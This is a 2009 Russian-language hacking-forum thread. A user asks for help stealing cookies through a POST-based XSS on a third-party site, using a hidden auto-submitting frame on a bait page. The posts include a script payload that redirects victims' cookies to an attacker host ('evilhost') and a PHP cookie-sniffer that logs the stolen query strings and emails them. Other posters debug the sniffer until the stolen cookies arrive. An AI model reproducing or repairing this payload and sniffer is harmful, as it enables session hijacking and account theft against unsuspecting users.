Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   XSS методом POST, неувязка (https://forum.antichat.xyz/showthread.php?t=157267)

G4bR1eL 17.11.2009 16:04

XSS методом POST, неувязка
 
Приветствую всех пользователй форума Antichat. Тему создал из-за проблемы, возможно если она решится это поможет многим другим людям которые пытались использовать уязвимость этим методом, но у них были какие-либо проблемы.

Недавно я нашел xss уязвимость на неком сайте site.com. Осуществить эту уязвимость можно было методом POST, так как работало целевое поле
<form method="POST">
Тут код
</form>. Тобишь проводился инклуд кода, который нефильтровался и уязвимость на ура помогала вытаскивать кукисы (ну и до сих пор помогает разумеется). Мною был создан сайт на бесплатном хостинге, где была размещена страница-удочка, с framom, который незаметно для жертвы открывает нашу страницу site.com/index.php, вводит скрипт в нашу форму "POST" и подтверждает её. Значит клиентская часть выполняется успешно. В результате невидимо от пользователя frame выводит его (без его ведома) на http://evilhost.ru/s.php?login=Lolo
В фрейме выполняется код по нашей форме "POST" и его перекидывает по нашей ссылке собственно
'">
<script>document.location.href="http://evilhost/s.php?"+document.cookie;</script>'>

+document.cookie в данном случае = $QUERY_STRING

Кого заинтерисует данная тема и кто работал с xss методом post, я бы хотел что бы этот человек посмотрел мой сниффер и frame и сказал в чем ошибка, буду очень благодарен, возможно даже денег дам.

P.s. Использовал сниффер от куника + свой, просто не хочет видеть QUERY. Тобишь на мыло мне приходит подтверждение что XSS сработала, но без данных. А в логи сниффера также записываются IP и данные браузера, но опять же без QUERY.

Nightmarе 17.11.2009 16:15

Ошибка: $QUERY_STRING;
А надо:
$_SERVER['QUERY_STRING'];

У меня тоже вопрос по XSS через POST, они в Файрфоксе только у меня одного не выполняются, или всё работает нормально?

Sams 17.11.2009 16:21

В FireFox стоит защита от пассивных XSS данного рода (через фрейм). Я вот точно не помню, это "вшитая" функция в браузер, либо она появляется при установки плагина NoScript.

G4bR1eL 17.11.2009 17:49

Цитата:

Сообщение от Nightmarе
Ошибка: $QUERY_STRING;
А надо:
$_SERVER['QUERY_STRING'];

Ошибку исправил Thx, но все равно резальтат такой. :)

=> http://i018.radikal.ru/0911/c2/eda079fac984.jpg

Цитата:

Сообщение от Nightmarе
У меня тоже вопрос по XSS через POST, они в Файрфоксе только у меня одного не выполняются, или всё работает нормально?

Скорее всего у тебя какой то плагин который блокирует работу любого фрейма.

G4bR1eL 17.11.2009 17:56

P.p.s.

Вот йод фрейма который лежит на сайте-удочке. Друг говорит что неправильный синтаксис, но если бы это было так, код бы не выполнялся правильно ? :D

Nightmarе 17.11.2009 18:40

Ну а ты скрипт то тестировал сам?
http://evilhost.com/s.php?ass
в этом случае в теле письма есть слово ass ?
Если есть, то кукисы значит не доходят до сниффа.

PS: у меня чистый FF3 никаких плагинов.

G4bR1eL 17.11.2009 18:53

http://s41.radikal.ru/i093/0911/38/0f4ace1fd583.jpg

http://s47.radikal.ru/i117/0911/2b/bf109183466d.jpg

Тобишь ошибка во frame ?

xa-xa89 17.11.2009 18:54

Покажи исправленый код снифера.
Тобишь ошибка в снифере.

xa-xa89 17.11.2009 19:02

по идеи код должен быть такой
PHP код:

<?php
$file 
true;            //сохранять в файл
$filename "cookies.txt";    //имя файла
$mail true;            //отправлять на мыло
$mailaddr "pelodka@lol.ru";    //адрес мыла
if ($file)
$f fopen($filename'a');
  
flock($f,2);
  
fputs($f$_SERVER['QUERY_STRING']."\r\n\r\n\r\n");
  
fflush ($f);
  
flock($f,3);
  
fclose($f); }
if (
$mail)
mail ($mailaddr"Uzer waz XSSed! Eat his cookies! :)""$_SERVER['QUERY_STRING']"); }
?>


G4bR1eL 17.11.2009 19:13

Теперь выбивает при site.h16.ru/s.php?ass и при работе
site.h16.ru/s.php?document_cookie; такой мессадж:

Parse error: parse error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /home/j/site.h16.ru/WWW/s.php on line 17

Nightmarе 17.11.2009 19:17

{ mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! :)", "$_SERVER
['QUERY_STRING']"); }
?>

это одной строкой, перенос линии в самом коде не делается посреди кода.

xa-xa89 17.11.2009 19:19

Цитата:

{ mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! :)", "$_SERVER
['QUERY_STRING']"); }
в одну строку напиши

Nik(rus) 17.11.2009 19:29

PHP код:

if ($mail) {
mail ($mailaddr"Uzer waz XSSed! Eat his cookies! :)"$_SERVER
['QUERY_STRING']);


Вроде так должно быть Оо

G4bR1eL 17.11.2009 19:37

Ооо супер, Nik(rus) спасибо. Ошибка пропала. А главное кукисы на мыло пришли.
Nightmare спасибо большое за идею и xa-xa89 тоже огромнейшее спасибо. Всем по плюсегу от юзверя))

gisTy 17.11.2009 20:24

PHP код:

mail ($mailaddr"Uzer waz XSSed! Eat his cookies! :)""$_SERVER
['QUERY_STRING']"
); }
?> 

убери перенос строки
и зачем "$_SERVER['QUERY_STRING'] брать в кавычки?

UP
млять, опоздал


Время: 14:53